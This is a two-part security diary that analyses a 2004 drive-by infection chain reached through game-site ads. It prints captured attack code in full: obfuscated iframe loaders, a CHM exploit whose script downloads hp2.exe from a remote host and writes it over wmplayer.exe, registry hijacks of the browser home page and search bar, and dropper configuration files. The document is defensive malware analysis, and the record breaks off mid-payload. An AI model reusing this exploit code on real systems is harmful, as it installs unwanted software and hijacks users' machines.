On July 20th, after investigating some adware/spyware/malarial that had been loaded onto a machine without the user's knowledge, I decided to try an experiment. I wondered just exactly how easy it really was to get an unpatched machine compromised, and what it would look like to "Joe Average" computer user. I set up a VMWare image of a fresh install of Windows XP Home Edition, and headed out on the internet to see just exactly what happened. My trip was an enlightening journey into the dangers lurking out on the 'net for the unwary, and along the way I've learned some interesting things about the spyware/adware industry.
Today's diary entry represents the first part of my analysis of what happened when I "forgot to use protection" on the Internet. In part II, I'll examine the full extent of the damage that my poor "Joe Average" would have received, and perhaps add a little "editorializing" to my findings.
To give you a little "preview", I'll say this: I discovered that as far as the adware/spyware industry is concerned, you may be the one that plunked down a grand at your local consumer electronics store to purchase your PC, but THEY own it. They'll do whatever they want, whenever they want, and you don't get a say in the matter. The utter "ballsy-ness" of what they do will astonish you, and I hope reading this might make some of the people enabling this sort of activity to wake up and take action.
Obviously, what happened in my little experiment would be a result of where I decided to go on the net. To be perfectly fair, the sites that will be mentioned in this essay are only a cross-section of the evil that is waiting out there on the net - they're probably no better, or worse than any of the other adware/spyware ilk. My choice of a "starting point" was based on the incident that I had just investigated.
In deciding to be "Joe Average", I tried to replicate (as well as possible) the machine that I had just investigated. That machine had IE6.0 with the Google Toolbar installed with the popup blocker active. Please keep this setup in mind as I "follow the bouncing malware."
Also, something to keep in mind: I'm not going to set up any of the URLs in this tale so that they act as hyperlinks. This is done on purpose. DO NOT FOLLOW THE PATH I'M DESCRIBING HERE, ESPECIALLY IF YOU ARE RUNNING AN UNPATCHED MACHINE. THIS MEANS YOU. REALLY.
After installing the Google Toolbar, I did exactly what my "Joe Average" had done to get his machine compromised: Googled. Someone had told him about "Yahoo Games", and well, he wanted to check it out. I put "Yahoo games" into Google and then clicked on "www.yahoogamez.com" (NOTE: If you're running an unpatched machine, DO NOT GO THERE).
yahoogamez.com is a website that contains links to many different online games, and while I have no idea if their games are any good, their advertisements are certainly interesting. Like many websites which offer online games, the idea here is to get people to visit the site and generate revenue based on advertising that appears on the site and provides an income based on both the number of times an ad is displayed ("impressions") and, especially, on any "click through" traffic. Generally, the site owner contracts with another company that acts as a "go-between", selling "placement" to advertisers, and contracting with sites to display ads. Many of these online advertising companys then provide servers that, on a rotating basis, dole out the code and images for ads to participating websites.
In two instances on the yahoogamez.com site, there are ads provided by "aim4media.com". Going to the yahoogames website results in a flurry of HTTP activity, including the following
[20/Jul/2004:13:50:11 -0500] "GET_http://adserver.aim4media.com" - - "/adframe.php?n=a788e363&what=zone:450&;%20amp;target=_new HTTP/1.1"
Which results in the following HTML:
-----------------------------------------------------------------------------------------------------------
<html>
<head>
<title>Advertisement</title>
</head>
<body leftmargin='0' topmargin='0' marginwidth='0' marginheight='0' style='background-color:transparent'>
<iframe src="http://205.236.189.58/mynet/mynet-MML.html" width=468 height=60 hspace=0 vspace=0
frameborder=0 marginheight=0 marginwidth=0 scrolling=no> <a href="http://205.236.189.58/mynet/mynet-MML.html"
target="_blank"><img width=468 height=60 src="http://205.236.189.58/mynet/mynet-MML.html" border=0></a></iframe>
<div id="beacon_459" style="position: absolute; left: 0px; top: 0px; visibility: hidden;">
<img src='http://adserver.aim4media.com/adlog.php?bannerid=459&clientid=431&zoneid=450&source=&
block=86400&capping=3&cb=7da741942b0623acd85070683ffa3ad8' width='0' height='0' alt='' style='width: 0px;
height: 0px;'></div>
</body>
</html>
-----------------------------------------------------------------------------------------------------------
This results in the following HTTP GET:
[20/Jul/2004:13:50:14 -0500] "GET_http://205.236.189.58" - - "/mynet/mynet-MML.html HTTP/1.1"
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And the following HTML gets downloaded:
<a href="http://www.lovemynet.com/?frombanner2" target="_blank">
<img src="http://209.50.251.182/lovemynet/banner1.gif" width=468 height=60 border=0>
</a>
<!-- HP2 -->
<script type="text/javascript">document.write('
\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022
\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0036\u0039\u002e\u0035\u0030\u002e
\u0031\u0033\u0039\u002e\u0036\u0031\u002f\u0068\u0070\u0032\u002f\u0068\u0070
\u0032\u002e\u0068\u0074\u006d\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d
\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u003e\u003c\u002f
\u0069\u0066\u0072\u0061\u006d\u0065\u003e')</script>
-----------------------------------------------------------------------------------------------------------
Looks like someone is trying to hide something... This decodes to:
<iframe src="http://69.50.139.61/hp2/hp2.htm" width=1 height=1></iframe>
-----------------------------------------------------------------------------------------------------------
[20/Jul/2004:13:50:17 -0500] "GET_http://69.50.139.61" - - "/hp2/hp2.htm HTTP/1.1"
Which gives us:
-----------------------------------------------------------------------------------------------------------
<!-- NEW Z.D.E.-D.B.D. w/ vu083003-H.P.S. (c) April 2004 SmartBot -->
<script type="text/javascript">document.write('
\u003c\u0074\u0065\u0078\u0074\u0061\u0072\u0065\u0061\u0020\u0069\u0064\u003d
\u0022\u0063\u006f\u0064\u0065\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d
\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065
\u003b\u0022\u003e\u000d\u000a\u0020\u0020\u0020\u0020\u003c\u006f\u0062\u006a
\u0065\u0063\u0074\u0020\u0064\u0061\u0074\u0061\u003d\u0022\u0026\u0023\u0031
\u0030\u0039\u003b\u0073\u002d\u0069\u0074\u0073\u003a\u006d\u0068\u0074\u006d
\u006c\u003a\u0066\u0069\u006c\u0065\u003a\u002f\u002f\u0043\u003a\u005c\u0066
\u006f\u006f\u002e\u006d\u0068\u0074\u0021\u0024\u007b\u0050\u0041\u0054\u0048
\u007d\u002f\u0048\u0050\u0032\u002e\u0043\u0048\u004d\u003a\u003a\u002f\u0068
\u0070\u0032\u002e\u0068\u0074\u006d\u0022\u0020\u0074\u0079\u0070\u0065\u003d
\u0022\u0074\u0065\u0078\u0074\u002f\u0078\u002d\u0073\u0063\u0072\u0069\u0070
\u0074\u006c\u0065\u0074\u0022\u003e\u003c\u002f\u006f\u0062\u006a\u0065\u0063
\u0074\u003e\u000d\u000a\u003c\u002f\u0074\u0065\u0078\u0074\u0061\u0072\u0065
\u0061\u003e\u000d\u000a\u000d\u000a\u003c\u0073\u0063\u0072\u0069\u0070\u0074
\u0020\u006c\u0061\u006e\u0067\u0075\u0061\u0067\u0065\u003d\u0022\u006a\u0061
\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u000d\u000a\u0020
\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077
\u0072\u0069\u0074\u0065\u0028\u0063\u006f\u0064\u0065\u002e\u0076\u0061\u006c
\u0075\u0065\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005c
\u0024\u007b\u0050\u0041\u0054\u0048\u007d\u002f\u0067\u002c\u006c\u006f\u0063
\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0072\u0065\u0066\u002e\u0073\u0075
\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u006c\u006f\u0063
\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0072\u0065\u0066\u002e\u0069\u006e
\u0064\u0065\u0078\u004f\u0066\u0028\u0027\u0068\u0070\u0032\u002e\u0068\u0074
\u006d\u0027\u0029\u0029\u0029\u0029\u003b\u000d\u000a\u003c\u002f\u0073\u0063
\u0072\u0069\u0070\u0074\u003e')</script>
-----------------------------------------------------------------------------------------------------------
Which decodes to:
<textarea id="code" style="display:none;">
<object data="ms-its:mhtml:file://C:\foo.mht!${PATH}/HP2.CHM::/hp2.htm"
</textarea>
<script language="javascript">
document.write(code.value.replace(/\${PATH}/g,location.href.substring(0,loca
</script>
-----------------------------------------------------------------------------------------------------------
[20/Jul/2004:13:50:20 -0500] "GET_http://69.50.139.61" - - "/hp2//HP2.CHM HTTP/1.1"
Within this chm exploit, we find the following hp2.htm file:
-----------------------------------------------------------------------------------------------------------
<script language="vbscript">
Function Exists(filename)
On Error Resume Next
LoadPicture(filename)
Exists = Err.Number = 481
End Function
</script>
<script language="javascript">
var oPopup = window.createPopup();
function showPopup()
{
oPopup.document.body.innerHTML =
"<object data=http://209.50.251.182/vu083003/object-c002.cgi>";
oPopup.show(0,0,1,1,document.body);
}
showPopup()
wmplayerpaths= [
"C:\\Programmer\\Windows Media Player\\wmplayer.exe",
"C:\\Program\\Windows Media Player\\wmplayer.exe",
"C:\\Programme\\Windows Media Player\\wmplayer.exe",
"C:\\Programmi\\Windows Media Player\\wmplayer.exe",
"C:\\Programfiler\\Windows Media Player\\wmplayer.exe",
"C:\\Programas\\Windows Media Player\\wmplayer.exe",
"C:\\Archivos de programa\\Windows Media Player\\wmplayer.exe",
"C:\\Program Files\\Windows Media Player\\wmplayer.exe"
];
for (i=0;i<wmplayerpaths.length;i++) {
wmplayerpath = wmplayerpaths[i];
if (Exists(wmplayerpath))
break;
}
function getPath(url) {
start = url.indexOf('http:')
end = url.indexOf('HP2.CHM')
return url.substring(start, end);
}
payloadURL = getPath(location.href)+'hp2.exe';
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile(wmplayerpath,2);
var win=null;
function NewWindow(mypage,myname,w,h,scroll,pos){
if(pos=="random"){
LeftPosition=(screen.width)?Math.floor(Math.random()*(screen.width-w)):100;
TopPosition=(screen.height)?Math.floor(Math.random()*((screen.height-h)-75)):100;
}
if(pos=="center"){
LeftPosition=(screen.width)?(screen.width-w)/2:100;
TopPosition=(screen.height)?(screen.height-h)/2:100;
}
else if((pos!="center" && pos!="random") || pos==null){
LeftPosition=0;TopPosition=20
}
settings='width='+w+',height='+h+',top='
+TopPosition+',left='+LeftPosition
+',scrollbars='+scroll
+',location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=no';
win=window.open(mypage,myname,settings);
}
location.href = "mms://";
</script>
-----------------------------------------------------------------------------------------------------------
Following along...
[20/Jul/2004:14:03:55 -0500] "GET_http://209.50.251.182" - - "/vu083003/object-c002.cgi HTTP/1.1"
-----------------------------------------------------------------------------------------------------------
<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",
"http://default-homepage-network.com/start.cgi?new-hkcu");
wsh.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",
"http://default-homepage-network.com/start.cgi?new-hklm");
wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",
"http://server224.smartbotpro.net/7search/?new-hkcu");
wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst", "no");
wsh.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",
"http://server224.smartbotpro.net/7search/?new-hklm");
wsh.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst", "no");
</script>
<script language=javascript>
self.close()
</script>
</html>
-----------------------------------------------------------------------------------------------------------
Well, our home page just got changed, as did our default search engine... Nice, real nice. But that's not all... there was a file called "hp2.exe" that was downloaded and executed by our .chm exploit. Sure enough, looking at my logs, I found:
[20/Jul/2004:13:50:25 -0500] "GET_http://69.50.139.61" - - "/hp2//hp2.exe HTTP/1.1"
hp2.exe is what is known as a "dropper" program. That is, it is actually a small "stub" program with another (sometimes more than one) program attached to it as "data". When the program executes, it writes out the "data" to a file and then executes the resulting program. hp2.exe drops a UPX packed executable that, when executed, will contact www.totalvelocity.com/Bundling/tvmupdater4bp5.exe, which installs/updates the "TV Media Display" spyware.
At this point, I followed one link on the site, that required I have Flash installed. Since I didn't have Flash installed, I went "back". But because I now had cookies placed on my computer from my original visit to the site, one of yahoogamez' files, popup.js, does something differently:
Now, this code within popup.js is executed:
-----------------------------------------------------------------------------------------------------------
if ((document.cookie.indexOf("popuptraffic") != -1 ) && (document.cookie.indexOf("popupsponsor") == -1)){
var expdate = new Date((new Date()).getTime() + 1800000);
document.cookie="popupsponsor=general; expires=" + expdate.toGMTString() + "; path=/;";
document.write("<script language=\"JavaScript\"
src=\"http://addictivetechnologies.net/dm0/js/Confirmfr03tp.js\"></script>");
}
-----------------------------------------------------------------------------------------------------------
[20/Jul/2004:13:51:57 -0500] "GET_http://addictivetechnologies.net" - - "/dm0/js/Confirmfr03tp.js HTTP/1.1"
-----------------------------------------------------------------------------------------------------------
var exepath='http://www.addictivetechnologies.net/DM0/cab/fr03tp.cab';
var retry_enabled = true;
var retry_cnt=1;
document.write('<iframe id="downloads_manager" style="position:absolute;visibility:hidden;"></iframe>');
function retry() {
if(retry_cnt>0) {
alert("To install latest AT- Games update, please click Yes");
start_download();
retry_cnt--;
} else {
//alert("This is a 1 time install, once you click Open it will never pop up this message again");
//downloads_manager.window.location = "http://www.addictivetechnologies.net/DM0/exe/fr03tp.exe";
}
}
function start_download()
{
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
if ( navigator.platform && navigator.platform != 'Win32' ){
//alert("Sorry, your browser is not WIN32 Compatible");
}
if (bname == 'Microsoft Internet Explorer' && bver >= 2){
document_code = '<html><head>\n';
document_code += '<\/head><body>\n';
document_code += '<object onerror="window.parent.retry();" id="DDownload_UL1"
classid="clsid:00000EF1-0786-4633-87C6-1AA7A44296DA"
codebase="http://www.addictivetechnologies.net/DM0/cab/fr03tp.cab"
HEIGHT=0 WIDTH=0></object>\n';
document_code += '<\/body><\/html>';
downloads_manager.document.write(document_code);
downloads_manager.document.close();
}
else if (bname == 'Netscape' && bver >= 4) {
trigger = netscape.softupdate.Trigger;
if (trigger.UpdateEnabled) {
//trigger.StartSoftwareUpdate(exepath, trigger.DEFAULT_MODE)
} else {
location.replace(exepath);
}
} else {
location.replace(exepath);
}
}
start_download();
-----------------------------------------------------------------------------------------------------------
[20/Jul/2004:13:51:58 -0500] "GET_http://www.addictivetechnologies.net" - - "/DM0/cab/fr03tp.cab HTTP/1.1"
This cab file contains two files:
ATPartners.inf - 403 bytes
ATPartnets.dll - 96,256 bytes
The .dll file is identified by AV software as Win32/TrojanDownloader.Rameh.C trojan
And that's were I'm going to end it for today. In the next part, I'll take a look at what happens as this chain of malware continues on it's merry way, and I'll also investigate what happens when I fire up IE the next time and visit my new home page.
-------------------------------------------------------------
Tom Liston´s Following the Bouncing Malware - Part II
Note: The links in this part of the diary are purposely not clickable. DO NOT GO TO THESE SITES. THIS MEANS YOU. REALLY.
Welcome back to Part II of our journey through the seamier side of the internet. To those of you who wrote in asking, I’m sorry it took so long to get this put together and up...
In case you missed Part I, or in case you simply want to review, here's a link to where we started:
http://isc.sans.org/diary.php?date=2004-07-23
Go on... I’ll wait.
Ready? Good.
When we last left our intrepid "Joe Average" computer user, he had just installed Windows XP Home Edition, and gone out on the Internet in search of some fun and adventure. If you recall, someone had told him about Yahoo! Games and he wanted to try them out. Using Google, and ignoring (for whatever reason) several obvious links to Yahoo!, he scrolled down near the bottom of the first Google search page and clicked on a link leading to www.yahoogamez.com.
That's when the fun began.
With an IFRAME here and a CHM exploit there, Joe Average’s shiny new computer was transformed into something new... something Joe never dreamed it would become: an S.E.P.
"Somebody Else’s PC."
Huh?
Well, although Joe still owns (letter "o") the hardware, and gets the privilege of supplying it with electricity and an internet connection, someone else now 0wns (zero) his computer, and they’re making all of Joe's bright and shiny hardware dance to a tune that THEY’RE playing.
You see: All Joe wants his hardware to do is stop all of this nonsense and leave him in peace to play a rousing round of "Donut Boy 2" from the yahoogamez site. But the new happy-go-lucky pals that he's picked up while browsing have some other things in mind...
When I paused our adventure at the end of Part I, the list of "stuff" done to Joe's computer looked like this:
1) Joe's homepage had been changed. It is now set to:
http://default-homepage-network.com/start.cgi?new-hkcu
2) The default search page has been set to:
http://server224.smartbotpro.net/7search/?new-hkcu
3) Search assist has been turned off.
4) "TV Media Display" has been installed on Joe's machine (more on this later.)
5) addictivetechnologies.net had graced Joe's machine with a file identified by AV software as Win32/TrojanDownloader.Rameh.C.
So... what do Joe Average's new found buddies have planned for him next? Let's find out together as we continue to follow the bouncing malware.
Let's start by taking a look inside the file that Addictive Technologies "gave" to Joe. If you’ll recall, it was a .cab file called "fr03tp.cab," containing two files:
ATPartners.inf – 403 bytes
ATPartners.dll – 96,256 bytes
(Some editorializing: The ATPartners.dll contains a statically linked copy of the MSVC runtime. This is completely unnecessary. Addictive Technologies: If you're going to write malware, at least write EFFICIENT malware.)
Looking at the strings contained within the .dll file, we find some interesting stuff:
/F1/Cmd4F1_fr03t.txt
www.f1organizer.com
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
And some downright bizarre stuff:
Hara Hara Mahadev !!!
tum agar badshah hai to hum eespeek ka yekka!
(Would anyone care to enlighten me?)
Putting some obvious "stuff" from that list together, we get ourselves a URL:
http://www.f1organizer.com/F1/Cmd4F1_fr03t.txt
where we find the following interesting message:
[NextConfigFile]
Server=www.f1organizer.com
Object=/F1/audit/DMOnewSB/Cmd4F1_fr03t_Upd3.txt
[AddF1]
Folder=AT-Games
Link=http://www.gamehouse.com/affiliates/template.jsp?AID=2226
Name=Gamehouse Games
[AddF2]
Folder=AT-Games
Link=http://www.regnow.com/softsell/visitor.cgi?affiliate=24998&action=site&vendor=7551
Name=Big Fish Games
[AddF3]
Folder=AT-Games
Link=http://www.regnow.com/softsell/visitor.cgi?affiliate=24998&action=site&vendor=7834
Name=FlyorDie Games
[AddF4]
Folder=..\\Desktop\\
Link=http://www.007arcadegames.com
Name=007arcadegames.com
IconFile=http://www.007arcadegames.com/007.ico
IconIndex=0
[UpdateList]
Server1=www.f1organizer.com
Object1=/F1/objects/ezbdlLs.dll
InstallName1=bdlds.dll
RepURL1=http://www.f1organizer.com/F1/audit/Ack/Ack4Freeze.htm
Server2=www.AddictiveTechnologies.net
Object2=/LoadShare/SplWbr.dll
InstallName2=SplWbr.dll
RepURL2=http://www.f1organizer.com/F1/audit/Ack/Ack4SB2.htm
(Is it just me, or did anyone else find the term "softsell" in the above "RegNow" URLs more than a bit amusing?)
Hey look! More stuff was "updated" on Joe's computer: Let's see... They're adding some stuff to Joe's Internet "Favorites" to advertise purchase links for games that AT gets affiliate bucks for (Gamehouse Games, Big Fish Games, and FlyorDie Games), they've added a link on Joe's Desktop to "007arcadegames," and they're downloading more gifts for Joe: ezbdlLs.dll and SplWbr.dll.
SplWbr.dll weighs in at a whopping 454,656 bytes and is what is known in the AntiVirus biz as a "file dropper." That is, when it is executed, it writes out and installs or executes one or more files that are attached to it as data. In this case, it drops out two files:
Drop#1 – 135,088 bytes which claims to be "Ad Destroyer and Virtual Bouncer Installation" and is digitally signed by Spyware Labs, Inc. (www.spywarelabs.com).
Drop#2 – 302,544 bytes which silently installs "TopRebates.com AutoTrack software" (www.toprebates.com).
ezbdlLs.dll is a 151,040 byte UPX compressed .dll that expands to 176,128 bytes when uncompressed. It too is a file dropper, gracing Joe's machine with three new gifts:
Drop#1 – 65,536 bytes of ASPacked goodness from www.abetterinternet.com which claims to be a "[u]tility for downloading files and upgrading software. Visit www.abetterinternet.com for more info."
Drop#2 – 33,280 bytes of UPX packed fun which expands into 65,536 bytes of crappy software engineering from the fine folks at ezULA (www.ezula.com) who’s stated goal is "Making Your Internet Browsing Simple, Exciting, and Personal." Uh... no thank you.
Drop#3 – 65,024 bytes filled with a NullSoft Installer that gifts Joe's machine with SAHAgent, a Winsock2 Layered Service Provider (LSP) that installs itself in Joe's WinSock stack, much like a personal firewall. SAHAgent redirects select web traffic to cause online purchases made by Joe to be done in a way that will route any affiliate bucks to a specific affiliate ID.
So, what's the upshot of this whole mess? Well, Joe has had five new software packages installed onto his machine, redirecting his browsing, his searching, and his online purchases to suit the desires of the (no-doubt ;-) fine, upstanding people at ATPartners. His Internet browsing will now be "Simple, Exciting, and Personal" (ezula), he’ll always know that "The Best Downloads are Free" (abetterinternet), his computer will show him the "Smart way to put money in your pocket" (TopRebates) and he needn’t worry about adware/spyware any more because Virtual Bouncer has been installed to... uh... bounce it (Spyware Labs). Oh, and his online purchases will earn money for... uh... um.... someone. (SAHAgent). Joe should be so very, very happy.
But did you happen to notice THIS section in the text-file o' instructions that the ATPartners.dll downloaded?
[NextConfigFile]
Server=www.f1organizer.com
Object=/F1/audit/DMOnewSB/Cmd4F1_fr03t_Upd3.txt
Next time around, we’re going to download a DIFFERENT set of "configuration" instructions:
[NextConfigFile]
Server=www.f1organizer.com
Object=/F1/audit/DMOnewSB/Cmd4F1_fr03t_Upd3.txt
[UpdateList]
Server1=www.f1organizer.com
Object1=/F1/objects/msbb693.dll
InstallName1=msbb321.dll
RepURL1=http://www.f1organizer.com/F1/audit/Ack/Ack4F1_nCase321.htm
Server2=www.f1organizer.com
Object2=/F1/objects/ezbdlLs.dll
InstallName2=bdlds.dll
RepURL2=http://www.f1organizer.com/F1/audit/Ack/Ack4Freeze.htm
Server3=www.f1organizer.com
Object3=/F1/objects/W2020Setup.dll
InstallName3=W2020Setup.dll
RepURL3=http://www.f1organizer.com/F1/audit/Ack/Ack4F1_Cls.htm
Server4=www.f1organizer.com
Object4=/F1/objects/MyDailyHoroscope.dll
InstallName4=MyDailyHoroscope.dll
RepURL4=http://www.f1organizer.com/F1/audit/Ack/Ack4F1_Cls.htm
Server-4=www.f1organizer.com
Object-4=/F1/objects/ezStD.dll
InstallName-4=ezStub3.dll
RepURL-4=http://www.f1organizer.com/F1/audit/Ack/Syn4F1_eZula.htm
Server-6=www.f1organizer.com
Object-6=/F1/objects/MoreResultsSetup.dll
InstallName-6=MoreResultsSetup.dll
RepURL-6=http://www.f1organizer.com/F1/audit/Ack/Ack4F1_Cls.htm
Server-3=www.f1organizer.com
Object-3=/F1/objects/KVIF_11.dll
InstallName-3=KVIF_11.dll
RepURL-3=http://www.f1organizer.com/F1/audit/Ack/Syn4F1_KVI.htm
Just looking at that list makes me tired. (And the name "ezStD" makes me laugh… For those non-English speakers out there, STD is an acronym for "Sexually Transmitted Disease" :-) I could slog down through the whole sorry mess, and perhaps I will if there is enough interest, but for now let's take a look at another area where Joe is no longer the 0wner of his P.C.: his homepage.
Joe's homepage was changed in the initial "drive-by" to be "http://default-homepage-network.com/start.cgi?new-hkcu". The next time that Joe fires up IE, here’s what he gets (suitably edited to remove superfluous crud):
<html><head>
<title>Default Homepage Network</title>
</head>
<body>
[script language=javascript]
<!--
var agt=navigator.userAgent.toLowerCase();
var is_ie = (agt.indexOf("msie") != -1);
var is_aol = (agt.indexOf("aol") != -1);
if (!is_aol) {
self.moveTo(0,0);
self.resizeTo(screen.availWidth,screen.availHeight);
}
location.href="http://default-homepage-network.com/newspynotice.html"
if (!is_aol) {
var expdate = new Date((new Date()).getTime() + 600000);
if (document.cookie.indexOf("delayed") == -1) {
document.cookie=
"delayed=general; expires=" + expdate.toGMTString() + "; path=/;";
splashWin2 = window.open("",'y','fullscreen=1,toolbar=0,location=0,\
directories=0,status=0,menubar=0,scrollbars=0,resizable=0');
splashWin2.blur();
window.focus();
splashWin2.resizeTo(10,10);
splashWin2.moveTo(5000,5000);
splashWin2.location="http://object.passthison.com/aff/delayed/";
window.focus();
}
}
//-->
[/script]</body>
The referenced file, "newspynotice.html," is another rather interesting little gem. It displays a big red stop sign, and explains that poor Joe’s computer may be infected with spyware. Has Joe noticed that his home page has been changed? (Well, duh!) Has his computer been acting "wierd" lately? (Why can’t these malware clowns spell?) Is the Internet "running slow or crashing?" If so, Joe simply needs to click on a link on the page and his "computer will be back to normal and secure again in just a few minutes." Oh, joy... oh, joy. But, hidden within the HTML of this “IMPORTANT SECURITY NOTICE!” page is a little surprise:
<!-- 1. newobj1 -->
[script type="text/javascript"]document.write('\u003c\u0073\u0063\u0072\u0069\u0070
\u0074\u0020\u006c\u0061\u006e\u0067\u0075\u0061\u0067\u0065\u003d\u006a
\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u000d\u000a
\u0076\u0061\u0072\u0020\u006f\u0050\u006f\u0070\u0075\u0070\u0020\u003d
\u0020\u0077\u0069\u006e\u0064\u006f\u0077\u002e\u0063\u0072\u0065\u0061
\u0074\u0065\u0050\u006f\u0070\u0075\u0070\u0028\u0029\u003b\u000d\u000a
\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0073\u0068\u006f
\u0077\u0050\u006f\u0070\u0075\u0070\u0028\u0029\u000d\u000a\u007b\u000d
\u000a\u0009\u006f\u0050\u006f\u0070\u0075\u0070\u002e\u0064\u006f\u0063
\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0069
\u006e\u006e\u0065\u0072\u0048\u0054\u004d\u004c\u0020\u003d\u0020\u0022
\u003c\u006f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0061\u0074\u0061
\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u006f\u0062\u006a\u0065
\u0063\u0074\u002e\u0070\u0061\u0073\u0073\u0074\u0068\u0069\u0073\u006f
\u006e\u002e\u0063\u006f\u006d\u002f\u0076\u0075\u0030\u0038\u0033\u0030
\u0030\u0033\u002f\u006e\u0065\u0077\u006f\u0062\u006a\u0065\u0063\u0074
\u0031\u002e\u0063\u0067\u0069\u003e\u0022\u003b\u000d\u000a\u0009\u006f
\u0050\u006f\u0070\u0075\u0070\u002e\u0073\u0068\u006f\u0077\u0028\u0030
\u002c\u0030\u002c\u0031\u002c\u0031\u002c\u0064\u006f\u0063\u0075\u006d
\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u0029\u003b\u000d\u000a
\u007d\u000d\u000a\u0073\u0068\u006f\u0077\u0050\u006f\u0070\u0075\u0070
\u0028\u0029\u003b\u000d\u000a\u003c\u002f\u0073\u0063\u0072\u0069\u0070
\u0074\u003e')[/script]
<!-- 2. e1 -->
[script type="text/javascript"]document.write('\u003c\u0069\u0066\u0072\u0061\u006d
\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a
\u002f\u002f\u0036\u0039\u002e\u0035\u0030\u002e\u0031\u0033\u0039\u002e
\u0036\u0031\u002f\u0068\u0070\u0031\u002f\u0068\u0070\u0031\u002e\u0068
\u0074\u006d\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020
\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u003e\u003c\u002f\u0069
\u0066\u0072\u0061\u006d\u0065\u003e')[/script]
A little decoding gives us Part 1:
[script language=javascript]
var oPopup = window.createPopup();
function showPopup() {
oPopup.document.body.innerHTML = "<object\
data=http://object.passthison.com/vu083003/newobject1.cgi>";
oPopup.show(0,0,1,1,document.body);
}
showPopup();
[/script]
And Part 2:
[iframe src="http://69.50.139.61/hp1/hp1.htm" width=1 height=1][/iframe]
This recalls the hp2.htm file that was downloaded and installed in Part I of this epic adventure. Same site, same method, same result:
<!-- NEW Z.D.E.-D.B.D. w/ vu083003-H.P.S. (c) April 2004 SmartBot -->
[script type="text/javascript"]document.write('\u003c\u0074\u0065\u0078\u0074\u0061
\u0072\u0065\u0061\u0020\u0069\u0064\u003d\u0022\u0063\u006f\u0064\u0065
\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073
\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u003b\u0022\u003e
\u000d\u000a\u0020\u0020\u0020\u0020\u003c\u006f\u0062\u006a\u0065\u0063
\u0074\u0020\u0064\u0061\u0074\u0061\u003d\u0022\u0026\u0023\u0031\u0030
\u0039\u003b\u0073\u002d\u0069\u0074\u0073\u003a\u006d\u0068\u0074\u006d
\u006c\u003a\u0066\u0069\u006c\u0065\u003a\u002f\u002f\u0043\u003a\u005c
\u0066\u006f\u006f\u002e\u006d\u0068\u0074\u0021\u0024\u007b\u0050\u0041
\u0054\u0048\u007d\u002f\u0048\u0050\u0031\u002e\u0043\u0048\u004d\u003a
\u003a\u002f\u0068\u0070\u0031\u002e\u0068\u0074\u006d\u0022\u0020\u0074
\u0079\u0070\u0065\u003d\u0022\u0074\u0065\u0078\u0074\u002f\u0078\u002d
\u0073\u0063\u0072\u0069\u0070\u0074\u006c\u0065\u0074\u0022\u003e\u003c
\u002f\u006f\u0062\u006a\u0065\u0063\u0074\u003e\u000d\u000a\u003c\u002f
\u0074\u0065\u0078\u0074\u0061\u0072\u0065\u0061\u003e\u000d\u000a\u000d
\u000a\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u006c\u0061\u006e
\u0067\u0075\u0061\u0067\u0065\u003d\u0022\u006a\u0061\u0076\u0061\u0073
\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u000d\u000a\u0020\u0020\u0020
\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072
\u0069\u0074\u0065\u0028\u0063\u006f\u0064\u0065\u002e\u0076\u0061\u006c
\u0075\u0065\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f
\u005c\u0024\u007b\u0050\u0041\u0054\u0048\u007d\u002f\u0067\u002c\u006c
\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0072\u0065\u0066
\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030
